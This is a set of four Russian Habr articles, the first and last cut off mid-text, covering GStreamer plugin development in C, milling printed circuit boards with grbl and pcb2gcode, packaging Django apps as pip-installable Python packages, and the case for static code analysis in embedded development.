После того, как мы проделали предварительную работу, настал черед формирования проекта непосредственно в MS Visual Studio 2010. К счастью, разработчики GStreamer позаботились о пользователях Visual Studio и поместили в дистрибутив все необходимое для создания проекта. Надо только правильно разместить файлы в каталогах Visual Studio.
Все необходимое лежит в директории gstreamer\1.0\x86\share\vs\2010.
Выполняем:
```
xcopy c:\gstreamer\1.0\x86\share\vs\2010\gst-template\*.* "C:\Program Files\Microsoft Visual Studio 10.0\VC\VCWizards\gst-template\*.*" /s /e /c
xcopy C:\gstreamer\1.0\x86\share\vs\2010\wizard\*.* "C:\Program Files\Microsoft Visual Studio 10.0\VC\vcprojects\"
```
Запускаем Visual Studio (или перезапускаем, чтобы она увидела новые настройки), создаем новый проект, и выбираем из установленных шаблонов Visual C++\gst-dk-template.

Если все прошло нормально, создастся пустой проект с необходимыми настройками. Поскольку, мы хотим создать плагин, идем в настройки проекта и меняем в Project Details Configuration Type с Application (.exe) на Dynamic Library (.dll).

В окне Property Manager наблюдаем следующую картину (включить Property Manager можно View->Other Windows->Property Manager):

В созданный пустой проект необходимо включить файлы, которые были созданы ранее с помощью утилиты make\_element.

Компилируем, если все правильно, получаем готовый DLL, который надо скопировать в каталог плагинов GStreamer (у меня — C:\gstreamer\1.0\x86\lib\gstreamer-1.0\).
На всякий случай проверим: gst-inspect-1.0 dummy. Здесь мы увидим, что узнал GStreamer о нашем плагине.

##### Минимальный набор функций плагина
Для того чтобы встроить плагин в цепочку, нам необходимо реализовать следующий жизненный цикл:
* сообщить фреймвоку данные о себе (инициализировать класс)
* произвести инициализацию экземпляра плагина
* обработать процесс подключения потока
* сделать что-то с входными данными и передать их на выход
* по завершению очистить занятые ресурсы
##### Метаданные
За предоставление метаданных о плагине у нас отвечает функция
static void gst\_dummy\_class\_init (GstdummyClass \* klass)
В нашем примере элемент dummy имеет свойство Silent типа Boolean, отвечающее за вывод текста при обработке потока.
```
gobject_class->set_property = gst_dummy_set_property;
gobject_class->get_property = gst_dummy_get_property;
g_object_class_install_property (gobject_class, PROP_SILENT,
g_param_spec_boolean ("silent", "Silent", "Produce verbose output ?",
FALSE, (GParamFlags)G_PARAM_READWRITE));
```
Этим кодом мы сообщаем среде GStreamer о том, что у плагина есть свойство Silent, оно имеет тип Boolean, за его установку отвечает делегат gst\_dummy\_set\_property, чтение — gst\_dummy\_get\_property, оно доступно по чтению и записи, значение по-умолчанию – FALSE. Далее мы регистрируем точки подключения к плагину – pads.
```
gst_element_class_add_pad_template (gstelement_class,
gst_static_pad_template_get (&src_factory));
gst_element_class_add_pad_template (gstelement_class,
gst_static_pad_template_get (&sink_factory));
```
Определяем входной pad sink, который имеется всегда в наличие — GST\_PAD\_ALWAYS и принимает любой формат GST\_STATIC\_CAPS («ANY»).
```
static GstStaticPadTemplate sink_factory = GST_STATIC_PAD_TEMPLATE ("sink",
GST_PAD_SINK,
GST_PAD_ALWAYS,
GST_STATIC_CAPS ("ANY")
);
```
Определяем выходной pad src, который имеется всегда в наличие — GST\_PAD\_ALWAYS и выдает любой формат GST\_STATIC\_CAPS («ANY»).
```
static GstStaticPadTemplate src_factory = GST_STATIC_PAD_TEMPLATE ("src",
GST_PAD_SRC,
GST_PAD_ALWAYS,
GST_STATIC_CAPS ("ANY")
);
```
##### Инициализация экземпляра
В процессе построения pipeline, среда GStreamer вызывает функцию инициализации экземпляра плагина:
```
static void
gst_dummy_init (Gstdummy * filter)
```
на вход которой подается структура, которую необходимо заполнить:
```
struct _Gstdummy
{
GstElement element;
GstPad *sinkpad, *srcpad;
gboolean silent;
};
```
Для того, чтобы обрабатывать события, происходящие на входе плагина, необходимо указать соответствующий делегат:
```
gst_pad_set_event_function (filter->sinkpad, GST_DEBUG_FUNCPTR(gst_dummy_sink_event));
```
##### Подключение к потоку
При возникновении событий на входе плагина, в нашем случае будет вызвана функция:
```
static gboolean
gst_dummy_sink_event (GstPad * pad, GstObject * parent, GstEvent * event)
```
которая пока ничего не делает.
##### Пробный запуск
Теперь можно попробовать запустить — gst-launch-1.0 videotestsrc! dummy! autovideosink –v. Данная команда передает тестовый поток видео сгенерированный videotestsrc на наш плагин, который передает его дальше без изменений на видео проигрыватель autovideosink. Ключ v позволяет увидеть, как происходит обработка всей цепочки.

Если мы увидели тестовую картинку – значит наш плагин успешно передал данные со своего входа на выход.
Для нашего случая, вывод обработки будет содержать следующее:
```
/GstPipeline:pipeline0/GstVideoTestSrc:videotestsrc0.GstPad:src: caps = video/x-raw, format=(string)I420, width=(int)320, height=(int)240, framerate=(fraction)30/1, pixel-aspect-ratio=(fraction)1/1, interlace-mode=(string)progressive
```
Из этого следует, что экземпляр класса GstVideoTestSrc с именем videotestsrc0 предоставил pad src, выдающий поток video/x-raw в формате I420 размерами кадра 320 на 240 и т.д.
Поскольку наш плагин может принять любой формат, его вход связался с выходом videotestsrc0:
```
/GstPipeline:pipeline0/Gstdummy:dummy0.GstPad:sink: caps = video/x-raw, format=(string)I420, width=(int)320, height=(int)240, framerate=(fraction)30/1, pixel-aspect-ratio=(fraction)1/1, interlace-mode=(string)progressive
```
##### Дальнейшее погружение
Выяснив, что механика работает, попробуем сделать несколько шагов к нашей цели. Чтобы проиллюстрировать эволюцию решения, я добавил в проект еще один плагин painter, который будет рисовать поверх изображения прямоугольник.
Прямоугольник можно рисовать без привлечения каких-либо библиотек, но мне захотелось продолжить эксперименты с использованием OpenCV.
При добавлении нового плагина возникает проблема его регистрации, т.к. регистратор должен быть один на проект. В связи с этим, был введен файл GstTestLib.cpp, в котором размещен код регистрации обоих плагинов.
```
struct _elements_entry
{
const gchar *name;
GType (*type) (void);
};
static const struct _elements_entry _elements[] = {
{"dummy", gst_dummy_get_type},
{"painter", gst_painter_get_type},
{NULL, 0},
};
static gboolean
plugin_init (GstPlugin * plugin)
{
gint i = 0;
while (_elements[i].name) {
if (!gst_element_register (plugin, _elements[i].name,
GST_RANK_NONE, (_elements[i].type) ()))
return FALSE;
i++;
}
return TRUE;
}
```
Для painter я создал более жесткие ограничения на входной формат потока. Теперь это выглядит следующим образом:
```
static GstStaticPadTemplate sink_factory = GST_STATIC_PAD_TEMPLATE ("sink",
GST_PAD_SINK,
GST_PAD_ALWAYS,
GST_STATIC_CAPS ( GST_VIDEO_CAPS_MAKE ("{ BGRx }") )
);
```
Это значит, что на вход может подаваться потоковое видео в формате BGRx с любым разрешением и частотой кадров. OpenCV по-умолчанию использует схему BGR. Про цветовые схемы и преобразования можно почитать [здесь](https://software.intel.com/sites/products/documentation/hpc/ipp/ippi/ippi_ch6/ch6_color_models.html).
Поскольку, интересующая меня камера выдает RTSP H264 поток, нам необходимо его раскодировать и подать на вход преобразователя videoconvert. Наш тестовый пример будет выглядеть следующим образом:
```
gst-launch-1.0 -v rtspsrc location=rtsp://10.10.0.15 ! rtph264depay ! avdec_h264 ! videoconvert ! painter ! videoconvert ! autovideosink
```
(10.10.0.15 – мой внутренний адрес, взят для примера).
Теперь на входе буфер у нас будет в BGRx формате. Если вы не знаете, как построить pipeline, можно воспользоваться универсальным контейнером decodebin. Он попытается сам подобрать и связать подходящие плагины:
```
gst-launch-1.0 -v rtspsrc location=rtsp://10.10.0.15 ! decodebin ! autovideosink
```
ключ –v необходим для диагностического вывода, там и будет видно как сформирован pipeline.
Вернемся к нашему плагину. Вся наша обработка будет заключаться в формировании нового изображения на основе входного и отрисовке поверх него прямоугольника. Рабочая функция имеет вид:
```
static GstBuffer *
gst_painter_process_data (Gstpainter * filter, GstBuffer * buf)
{
// объединяем все части буфера в непрерывную область для чтения
GstMapInfo srcmapinfo;
gst_buffer_map (buf, &srcmapinfo, GST_MAP_READ);
// формируем новый буфер
GstBuffer * outbuf = gst_buffer_new ();
// создаем заголовок на исходное изображение
IplImage * dst = cvCreateImageHeader (cvSize (filter->width, filter->height), IPL_DEPTH_8U, 4);
// выделяем память для нового изображения
GstMemory * memory = gst_allocator_alloc (NULL, dst->imageSize, NULL);
GstMapInfo dstmapinfo;
if (gst_memory_map(memory, &dstmapinfo, GST_MAP_WRITE)) {
// копируем исходное изображение в новую область памяти
memcpy (dstmapinfo.data, srcmapinfo.data, srcmapinfo.size);
dst->imageData = (char*)dstmapinfo.data;
// рисуем прямоугольник
cvRectangle (dst, cvPoint(10,10), cvPoint(100, 100), CV_RGB(0, 255, 0), 1, 0);
// добавляем память с модифицированным изображением в выходной буфер
gst_buffer_insert_memory (outbuf, -1, memory);
gst_memory_unmap(memory, &dstmapinfo);
}
cvReleaseImageHeader(&dst);
gst_buffer_unmap(buf, &srcmapinfo);
return outbuf;
}
```
В обработкчике событий от sink pad мы можем узнать информацию о входном потоке
```
static gboolean
gst_painter_sink_event (GstPad * pad, GstObject * parent, GstEvent * event)
{
gboolean ret;
Gstpainter *filter;
filter = GST_PAINTER (parent);
switch (GST_EVENT_TYPE (event)) {
case GST_EVENT_CAPS:
{
GstCaps * caps;
gst_event_parse_caps (event, ∩︀);
//получаем структуру
GstStructure *structure = gst_caps_get_structure (caps, 0);
//читаем параметы
gst_structure_get_int (structure, "width", &filter->width);
gst_structure_get_int (structure, "height", &filter->height);
filter->format = gst_structure_get_string (structure, "format");
ret = gst_pad_event_default (pad, parent, event);
break;
}
default:
ret = gst_pad_event_default (pad, parent, event);
break;
}
return ret;
}
```
Задача решена в лоб. Эксперимент удался. По мере осовения GStreamer, открываются новые возможности, о которых по мере моего продвижения и наличия интереса к теме я буду рассказывать дальше.
##### Источники
[GStreamer](http://gstreamer.freedesktop.org/)
[иерархия объектов GStreamer](http://gstreamer.freedesktop.org/data/doc/gstreamer/head/gstreamer-libs/html/gstreamer-hierarchy.html)
[руководство по разработке плагина GStreamer](http://gstreamer.freedesktop.org/data/doc/gstreamer/head/pwg/html/index.html)
[OpenCV](http://opencv.org/)
[репозиторий шаблона плагина](http://cgit.freedesktop.org/gstreamer/gst-template)
[мои исходники](https://github.com/nostrum-service/gst) | https://habr.com/ru/post/221483/ | null | ru | null |
# Фрезеровка печатных плат в домашних условиях

Я не люблю травить печатные платы. Ну не нравится мне сам процесс возни с хлорным железом. Там напечатай, тут проутюжь, здесь фоторезист проэкспонируй — целая история каждый раз. А потом еще думай, куда бы слить хлорное железо. Я не спорю, это доступный и простой метод, но лично я его стараюсь избегать. А тут случилось у меня счастье: достроил я фрезер с ЧПУ. Тут же появилась мысль: а не попробовать ли фрезеровать печатные платы. Сказано — сделано. Рисую простенький переходник c завалявшегося esp-wroom-02 и начинаю свой экскурс во фрезеровку печатных плат. Дорожки специально сделал мелкими — 0,5 мм. Ибо если такие не выйдут — то и ну нафиг эту технологию.
Тут нужно маленькое отступление. Есть несколько путей, как из cad’а получить набор gcode’ов для фрезеровки печатной платы. На мой взгляд, они расходятся в зависимости от того, какой САПР вы пользуетесь. Если вы любитель Eagle — то под него существуют специализированные и хорошо интегрированные решения: [PCB-GCode](http://pcbgcode.org/), возможность напрямую открывать BRD-файлы в chilipeppr. К сожалению, не так давно Autodesk поменяла политику лицензирования орла, и теперь он уже не так сильно нравится сообществу (можно посмотреть [мнение одного видного представителя сообщества](https://www.youtube.com/watch?v=0U8he-5Bqtw)).
Так как лично я делаю печатные платы раз в пять лет по большим праздникам — мне для проектирования вполне хватает KiCAD. Для него специализированных удобных решений я не нашел, но есть более универсальный путь — с использованием gerber-файлов. В этом случае все относительно просто: берем pcb, экспортируем нужный слой в gerber (никаких зеркалирований и прочей магии!), запускаем [pcb2gcode](https://github.com/pcb2gcode/pcb2gcode) — и получаем готовый nc-файл, который можно отдать фрезеру. Как всегда, реальность — злая зараза и все оказывается несколько сложнее.
Получение gcode из gerber-файлов
--------------------------------
Итак, как получить gerber-файл, я особенно описывать не планирую, я думаю, это все умеют. Дальше нужно запустить pcb2gcode. Оказывается, он требует примерно миллион параметров командной строки, чтобы выдать что-то приемлемое. В принципе, документация у него неплохая, я ее осилил и понял, как получить какой-то gcode даже так, но все же хотелось казуальности. Потому был найден [pcb2gcode GUI](https://github.com/pcb2gcode/pcb2gcodeGUI). Это, как подсказывает название, GUI для настройки основных параметров pcb2gcode галочками, да еще и с предпросмотром.

Собственно, на этом этапе получен какой-то гкод и можно пробовать фрезеровать. Но пока я тыкал в галочки, выяснилось, что дефолтное значение заглубления, которое предлагает этот софт, — 0,05 мм. Соответственно, плата должна быть установлена во фрезере как минимум с точностью выше этой. Я не знаю, у кого как, но у меня рабочий стол у фрезера заметно более кривой. Самое простое решение, что пришло в голову, — поставить на стол жертвенную фанерку, отфрезеровать в ней карман под размеры плат — и она окажется идеально в плоскости фрезера.
*Для тех, кто уже хорошо владеет фрезером, эта часть неинтересна. После пары экспериментов я выяснил, что фрезеровать карман обязательно нужно в одном направлении (например, подачей на зуб) и с захлестом хотя бы процентов на тридцать. Fusion 360 мне предложил сначала слишком маленький захлест и ездил туда-сюда. В моем случае результат получился неудовлетворительный.*
Учет кривости текстолита
------------------------
Выровняв площадку, я поклеил на нее двустороннего скотча, положил текстолит и запустил фрезеровку. Вот результат:

Как видно, с одного края платы фреза практически не задевает медь, с другого — слишком углубилась в плату, при фрезеровке пошли крошки текстолита. Посмотрев внимательно на саму плату, я заметил, что она изначально неровная: слегка выгнутая, и, как ты с ней ни мучайся, какие-то отклонения по высоте будут. Потом, кстати, я посмотрел и выяснил, что для печатных плат толщиной более 0,8 мм допуск ±8 % считается нормальным.
Первый вариант борьбы, приходящий в голову, — автокалибровка. По логике вещей — чего уж проще, плата омедненная, фреза стальная, приделал один проводок к меди, другой к фрезе — вот тебе готовый щуп. Бери да строй поверхность.
Мой станок управляется grbl’ом на дешевом китайском шилде. У grbl есть поддержка щупа на пине A5, но вот специального разъема на моей плате почему-то не выведено. Внимательно рассмотрев ее, я все же обнаружил, что пин A5 выведен на разъем SPI порта (подписанный как SCL), земля там тоже рядом есть. С этим «датчиком» одна хитрость — провода нужно переплести между собой. Во фрезере крайне до фига наводок, и без этого датчик будет постоянно давать ложные срабатывания. Даже после переплетения продолжит, но сильно-сильно реже.

Итак, датчик собран, тестером проверен, дальше важный вопрос — как проверить в grbl, что все в порядке и я не сломаю единственный гравер. Немного гугления показало, что ему нужно отправить команду G38.2 Z-10 F5.
Команда говорит: начинай спускаться вниз вплоть до –10 по Z (абсолютная это или относительная высота — зависит от режима, в котором сейчас прошивка). Спускаться будет очень медленно — со скоростью 5 мм/мин. Это вызвано тем, что сами разработчики не гарантируют, что спуск остановится ровно в момент срабатывания датчика, а не чуть позже. Поэтому лучше спускаться медленно, чтобы все остановилось вовремя и не успело уйти в плату по самое не балуйся. Лучше всего первый тест проводить, подняв голову на высоту сильно больше 10 мм и сбросив систему координат. В таком случае, даже если все не сработает и вы не успеете дотянуться до кнопки E-Stop’а, фреза не будет запорота. Можно провести два теста: первый — ничего не делать (и по достижении –10 grbl выдаст «Alarm: Probe Fail»), второй — пока оно едет вниз, чем-нибудь замкнуть цепь и убедиться, что все остановилось.
Дальше надо найти метод, как, собственно, промерить матрицу и исказить gcode как нужно. На первый взгляд, у pcb2gcode’а есть какая-то поддержка autoleveling’а, но поддержки именно grbl’а нет. Там есть возможность задать команды запуска пробы руками, но с этим надо разбираться, а мне, честно говоря, было лень. Пытливый ум мог бы заметить, что у LinuxCNC команда запуска пробы совпадает с командой grbl. Но дальше идет непоправимое различие: все «взрослые» интерпретаторы gcode’а сохраняют результат выполненной пробы в машинную переменную, а grbl просто выводит в порт значение.
Легкое гугление подсказало, что есть еще довольно много разных вариантов, но мне на глаза попался проект [chillpeppr](http://chilipeppr.com/):
*Это система из двух компонентов, предназначенная для игры с железом из вебни. Первый компонент — Serial JSON Server, написанный на go, запускается на машине, подключенной непосредственно к железке, и умеет отдавать управление последовательным портом по вебсокетам. Второй — работает у вас в браузере. У них есть целый фреймворк для построения виджетов с каким-то функционалом, которые потом можно засовывать на страничку. В частности, у них уже есть готовый workspace (набор виджетов) для grbl и tinyg.*
И у chillpeppr’а есть поддержка autoleveling’а. Да еще и с виду он сильно удобнее UniversalGcodeSender’а, которым я пользовался до этого. Ставлю сервер, запускаю браузерную часть, трачу полчаса на то, чтобы разобраться с интерфейсом, загружаю туда gcode своей платы и вижу какую-то фигню:

Посмотрев в сам gcode, который генерирует pcb2gcode, вижу, что он использует нотацию, когда на последующих строках не повторяется команда (G1), а даются только новые координаты:
```
G00 X1.84843 Y34.97110 ( rapid move to begin. )
F100.00000
G01 Z-0.12000
G04 P0 ( dwell for no time -- G64 should not smooth over this point )
F200.00000
X1.84843 Y34.97110
X2.64622 Y34.17332
X2.69481 Y34.11185
X2.73962 Y34.00364
X2.74876 Y31.85178
X3.01828 Y31.84988
X3.06946 Y31.82249
X3.09684 Y31.77131
```
Судя по тому, что chilipeppr показывает только вертикальные движения, он видит строку G01 Z-0.12 здесь, но не понимает все, что идет после F200. Нужно переделывать на explict нотацию. Конечно, можно руками поработать или напилить какой-нибудь post-processing скрипт. Но никто еще не отменил [G-Code Ripper](http://www.scorchworks.com/Gcoderipper/gcoderipper.html), который среди прочего умеет бить сложные команды gcode’а (типа тех же дуг) на более простые. Он же, кстати, тоже умеет по матрице autoprobe’а искривлять gcode, но встроенной поддержки grbl’а опять нет. Зато можно сделать тот самый split. Мне вполне подошли стандартные настройки (разве что в конфиге пришлось заранее поменять единицы измерения на mm). Результирующий файл начал нормально отображаться в chilipeppr:

Дальше запускаем autoprobe, не забыв указать расстояние, с которого опускать пробу, и ее глубину. В моем случае я указывал, что надо опускать с 1 до –2 мм. Нижняя граница не так важна, ее можно поставить хоть –10, но я бы не советовал: пару раз неудачно выставил начальную точку, с который надо запускать пробу, и крайние точки оказывались за пределами платы. Если заглубление больше — можно и гравер сломать. А так просто ошибка. От уровня верхней границы напрямую зависит то, как долго он будет промерять поверхность. В моем случае реально плата почти никогда не уходила за пределы 0,25 мм вверх или вниз, но 1 мм как-то надежнее. Жмем заветную run и бежим к фрезеру медитировать:

А в интерфейсе chilipeppr появляется потихоньку промеренная поверхность:

Здесь надо обратить внимание, что все значения по Z умножены на 50, дабы лучше визуализировать получившуюся поверхность. Это настраиваемый параметр, но 10 и 50 хорошо работают, на мой взгляд. Я достаточно часто сталкиваюсь с тем, что какая-то одна точка оказывается сильно выше, чем можно от нее ожидать. Лично я связываю это с тем, что датчик ловит-таки наводки и дает ложное срабатывание. Благо chilipeppr позволяет выгрузить карту высот в виде json’ки, ее можно руками после этого поправить, а потом руками же загрузить. Дальше жмем кнопку «Send Auto-Leveled GCode to Workspace» — и в перце уже загружен поправленный гкод:
```
N40 G1 X 2.6948 Y 34.1118 Z0.1047 (al new z)
N41 G1 X 2.7396 Y 34.0036 Z0.1057 (al new z)
N42 G1 X 2.7488 Y 31.8518 Z0.1077 (al new z)
N43 G1 X 3.0183 Y 31.8499 Z0.1127 (al new z)
N44 G1 X 3.0695 Y 31.8225 Z0.1137 (al new z)
N45 G1 X 3.0968 Y 31.7713 Z0.1142 (al new z)
```
В код добавлены перемещения по Z, которые должны компенсировать неровность поверхности.
Выбор параметров фрезеровки
---------------------------
Запускаю фрезеровку, получаю вот такой результат:

Тут видно сразу три момента:
1. Проблема с неровностью поверхности ушла: прорезано (точнее, процарапано) все практически на одну глубину, нигде нет пропусков, нигде не заглубился слишком сильно.
2. Заглубление недостаточное: 0,05 мм явно не хватает для этой фольги. Платы, кстати, какой-то неизвестный зверь с AliExpress, толщину меди там не указали. Слой меди бывает разный, наиболее распространенные — от 18 до 140 мкм (0,018—0,14 мм).
3. Явно видны биения гравера.
Про заглубление. Подобрать то, насколько глубоко надо опускать гравер, несложно. Но есть специфика. Конический гравер имеет в проекции форму треугольника. С одной стороны, угол сведения к рабочей точке определяет, насколько инструмент тяжело сломать и как долго он проживет, а с другой — чем больше угол, тем шире будет рез при заданном заглублении.

Формула расчета ширины реза при заданном заглублении выглядит так (нескромно взята с reprap.org и исправлена):
```
2 * penetration depth * tangens (tool tip angle) + tip width
```
Считаем по ней: для гравера с углом 10 градусов и точкой контакта 0,1 мм при заглублении 0,1 мм мы получаем ширину реза почти 0,15 мм. Исходя из этого, кстати, можно прикинуть, какое минимальное расстояние между дорожками сделает выбранный гравер на фольге выбранной толщины. Ну и еще, даже если вам не надо очень маленьких расстояний между дорожками, слишком глубоко фрезу опускать все равно не стоит, так как стеклотекстолит очень сильно тупит фрезы даже из твердых сплавов.
Ну и тут есть еще смешной момент. Допустим, у нас есть две дорожки, отстоящие друг от друга на 0,5 мм. Когда мы прогоним pcb2gcode, он посмотрит на значение параметра Toolpath offset (насколько отступать от дорожки при фрезеровке) и фактически сделает между дорожками два прохода, отстоящие друг от друга на (0,5 – 2 \* toolpath\_offset) мм, между ними останется (а скорее всего, сорвется) какой-то кусочек меди, и будет это некрасиво. Если же сделать toolpath\_offset большим, чем расстояние между дорожками, то pcb2gcode выдаст warning, но сгенерирует только одну линию между дорожками. В общем случае для моих применений это поведение более предпочтительно, так как дорожки получаются шире, фреза режет меньше — красота. Правда, может возникнуть проблема с smd-компонентами, но маловероятно.
Есть выраженный случай такого поведения: если задать очень большой toolpath\_offset, то мы получим печатную плату в виду диаграммы Вороного. Как минимум — это красиво ;) На эффект можно посмотреть на первом скриншоте из pcb2gcode, что я давал. Там показано, как она будет выглядеть.
Теперь про биения гравера. Это я их зря так называю. Шпиндель у меня неплохой вроде и так сильно, конечно, не бьет. Тут скорее кончик гравера при перемещении изгибается и прыгает между точками, давая вот ту странную картину с точечками. Первая и основная мысль — фреза не успевает прорезать и потому перепрыгивает. Легкое гугление показало, что народ фрезерует печатные платы шпинделем на 50к оборотов со скоростью примерно в 1000 мм/мин. У меня шпиндель дает 10к без нагрузки, и можно предположить, что резать надо со скоростью 200 мм/мин.
Результаты и вывод
------------------
Учтя все это, промеряю новый кусок текстолита, запускаю фрезеровку и получаю вот такой результат:

Верхняя ровно так, как вышла из фрезера, нижняя — после того как провел по ней обычным точильным камнем пару раз. Как видно, в трех местах дорожки не прорезались. В целом по всей плате ширина дорожек плавает. С этим еще надо разбираться, но у меня есть предположение, в чем причина. Сначала я крепил плату на двусторонний скотч, и она достаточно часто отходила. Потом в паре мест прихватил еще краями головок саморезов. Вроде держаться стала лучше, но все равно немного играет. Подозреваю, что в момент фрезеровки она прижимается к площадке и из-за этого, собственно, не прорезается.

В общем, перспективы у этого всего есть. Когда процесс отработан, построение матрицы высот занимает минут пять-семь, потом непосредственно фрезеровка — пару минут. Вроде можно экспериментировать дальше. Зато можно потом сверловку делать на том же станке. Еще прикупить заклепок, и будет счастье! Если тема интересна, то могу написать еще одну статью про сверловку, двусторонние платы и пр. | https://habr.com/ru/post/402047/ | null | ru | null |
# Python-пакеты и их использование

Всем добрый день!
На Хабре уже поднималась [тема](http://habrahabr.ru/blogs/Git/75964/) организации работы с внешними пакетами с использованием подмодулей или деревьев в Git. Это показалось хорошим решением, но на деле вылилось в неудобства и запутанность. Тогда я решил перенести всё на python-пакеты. Чем и поделюсь сейчас на примере Django приложения.
Вместо предисловия
------------------
Когда делаешь много разных проектов, накапливаются свои модули, расширения, утилиты. Между ними устанавливаются зависимости. И встает вопрос в удобной организации инфраструктуры разработки и развертывания проектов. Чтобы было более наглядно, расскажу применимо к Django проектам.
Создадим Django-приложение и выделим его в python-пакет. Приложение будет отображать новости. В административной части сайта, нам потребуются собственные наработки по юзабилити. По этому укажем в зависимостях пакет **app-admintools**.
Подготовка
----------
Создадим в Gitosis репозиторий app-news:
**gitosis-admin/gitosis.conf**
```
[group apps]
writable = app-news
members = @developers @hosts
```
отправим изменения:
```
git pull
```
инициируем:
```
git clone git@git.home.com:app-news
```
Структура нашего пакета
-----------------------
```
+-app-news/
+-home/
+-news/
+-locale/
+-static/
+-templates/
+-__init__.py
+-models.py
+-urls.py
+-views.py
+-__init__.py
+-MANIFEST.in
+-setup.py
```
**setup.py**
```
from setuptools import setup, find_packages
setup(
name='home.news',
version='0.1',
description='News for Django',
author='Elias',
namespace_packages=['home'], # line 8
packages=find_packages(),
platforms='any',
zip_safe=False,
include_package_data=True,
dependency_links=['git+ssh://git@git.home.com/app-admintools@v0.1#egg=admintools-0.1'], # line 13
install_requires=['admintools==0.1'], # line 14
classifiers=[
'Development Status :: 5 - Production/Stable',
'Environment :: Web Environment',
'Intended Audience :: Developers',
'License :: OSI Approved :: BSD License',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Topic :: Internet :: WWW/HTTP :: Dynamic Content',
'Framework :: Django',
],
)
```
Здесь мы объявили использование пространства имен **home** (стр. 8) и указали зависимости для пакета **home.news** в наш репозиторий (стр. 13,14).
**MANIFEST.in**
```
recursive-include home/*/locale *
recursive-include home/*/static *
recursive-include home/*/templates *
```
Манифест определяет дополнительные данные, которые нужны пакету.
**home/**init**.py**
```
import pkg_resources
pkg_resources.declare_namespace(__name__)
```
Регистрируем пространство имен.
Создадим удаленную ветку v0.1 из master:
```
git push origin master:v0.1
```
Всё! Пакет готов к установке:
```
pip install git+ssh://git@git.home.com/app-news@v0.1
```
или в режиме редактирования:
```
pip install -e ./app-news
```
или через setuptools:
```
python setup.py develop
```
но в таком случае, не получиться закачать зависимости в виде ссылок на репозитории, так как setuptools не поддерживает такой формат
Подключение пакета
------------------
Один способ я описал выше, в виде зависимостей setup.py.
Также удобно хранить зависимости в отдельном файле **requirements.txt** (например для сайта):
```
git+ssh://git@git.home.com/app-news@v0.1
```
и ставить через pip:
```
pip install -r requirements.txt
```
Заключение
----------
Идея переложить управление зависимостями на Git оказалась неудобной (использовал подмодули). В первую очередь это проявилось, когда нужно было писать код и отлаживать его сразу в двух проектах, с общими компонентами, которые нужно было синхронизировать. Обычно через коммит. Другая проблема возникала, когда одновременно два разработчика обновляют пакет и ссылку на него. В итоге нетривиальная миграция. И так далее… *Но теперь пакет можно поставить в режиме редактирования и править код без синхронизаций. Одновременно остались все прелести доступа к пакетам по ssh-ключам.*
Надеюсь статья вам поможет упростить разработку и стать чуть-чуть счастливее :)
Спасибо за внимание, удачи! | https://habr.com/ru/post/127441/ | null | ru | null |
# Почему embedded-разработчикам следует использовать статический анализ кода

Решил кратко сформулировать 3 причины, по которым embedded-разработчикам полезны инструменты статического анализа кода программ.
Первая причина: не надо тратить время на мучительный поиск некоторых ошибок
---------------------------------------------------------------------------
Статический анализ кода == удешевление процесса тестирования и отладки устройства. Чем раньше ошибка найдена, тем дешевле её исправление. Статический анализ находит ошибки ещё на этапе написания кода или, по крайней мере, во время ночных запусков на сервере. В итоге, поиск и исправление многих ошибок обходится гораздо дешевле.
Особенно полезен статический анализ может быть при отладке embedded-систем. В таких проектах разработчики сталкиваются не только с ошибками в программах, но и с ошибками в самом устройстве или с некачественным изготовлением макета (плохой контакт и т.п.). В результате, процесс поиска ошибки может сильно затянуться, так как часто непонятно, где её искать. Если программист посчитает, что код написан правильно, то это может повлечь долгие изыскания с привлечением схемотехников и других коллег, отвечающих за hardware-часть. Тем неприятней будет позже вернуться к коду программы и обнаружить, наконец, дурацкую опечатку. Колоссально неэффективный расход сил и времени коллектива. Великолепно, если такую ошибку найдёт статический анализатор.
**Вот как один знакомый описывал мне подобную ситуацию:**
«Еще будучи магистром, я начал работать в компании, занимающейся изготовлением на заказ различных мелкосерийных устройств. Например, автоматизация парников или сбор информации с датчиков на предприятии, что нигде ничего не протекло и не перегрелось.
Мне ставится очередная типовая задача, с которой я справляюсь буквально за пару часов и отдаю её двум коллегам для прошивки в созданное ими устройство. Коллеги удивляются, как быстро всё сделал, хвалят, на что я гордо заявляю „ну я уже профессионал подобные вещи писать и вообще там всё просто“. Коллеги удаляются с флешкой, куда я им записал бинарный файл для прошивки микроконтроллера.
И я забываю про это дело. Есть другие большие и более интересные задачи. Тем более, раз они не пришли, значит всё хорошо.
А они пришли. Но только через неделю. Говорят, ничего не понимаем. Всю голову сломали. Не работает наш стенд. Вернее, работает, но не совсем как надо. Мы уже перепаяли его заново и исполнительные электромеханические детали заменили. Не работает… Может, посмотришь? Может, всё-таки, в программе что-то не так…
Открываю код и сразу вижу ошибку в духе:
```
uchar A[3];
....
for (uchar i = 0; i != 4; i++)
average += A[i];
average /= 3;
```
За основу был взят другой мой проект, и код во многом написан методом Copy-Paste. В одном месте я забыл заменить 4 на 3. Мне так стыдно было, что я двух людей заставил проработать впустую неделю.»
Вторая причина: обновить программу дорого, невозможно или поздно
----------------------------------------------------------------
Ошибки во встраиваемых устройствах крайне неприятны тем, что их невозможно или почти невозможно исправить, если началось серийное производство. Если уже выпущены сотни тысяч стиральных машин и они разъехались по магазинам, то что делать, если в определённом режиме машина работает неадекватно? В общем-то вопрос риторический и реальных вариантов два:
1. Смириться и получать негативные отзывы клиентов на различных сайтах, портя свою репутацию. Можно, конечно, выпустить и разослать к инструкции приложение «не делайте вот так», но тоже слабый вариант.
2. Отозвать серию и заняться обновлением прошивок. Дорогое развлечение.
Более того, независимо от того, велик тираж устройств или мал, правка ошибок может быть проблемной или запоздалой. Ракета [упала](https://www.viva64.com/ru/b/0426/), ошибка обнаружена, но поздно. Пациенты [умерли](https://www.viva64.com/ru/b/0438/), ошибка обнаружена, но людей это не вернёт. Противоракетный комплекс начинает [промахиваться](https://www.viva64.com/ru/b/0445/), ошибка обнаружена, но ничего приятного в этой истории нет. Машины [не тормозили](https://www.viva64.com/ru/b/0439/), ошибки найдены, но пострадавшим с этого прока нет.
Вывод очень простой. Код встраиваемых устройств должен тестироваться как можно тщательнее, особенно, если ошибки могут привести к жертвам или серьёзным материальным потерям.
Статический анализ кода не гарантирует отсутствие ошибок в коде. Однако просто необходимо использовать любую возможность дополнительно проверить корректность кода. Статические анализаторы могут указать на множество разнообразнейших ошибок, которые умудряются остаться в коде даже после нескольких Code-Review.
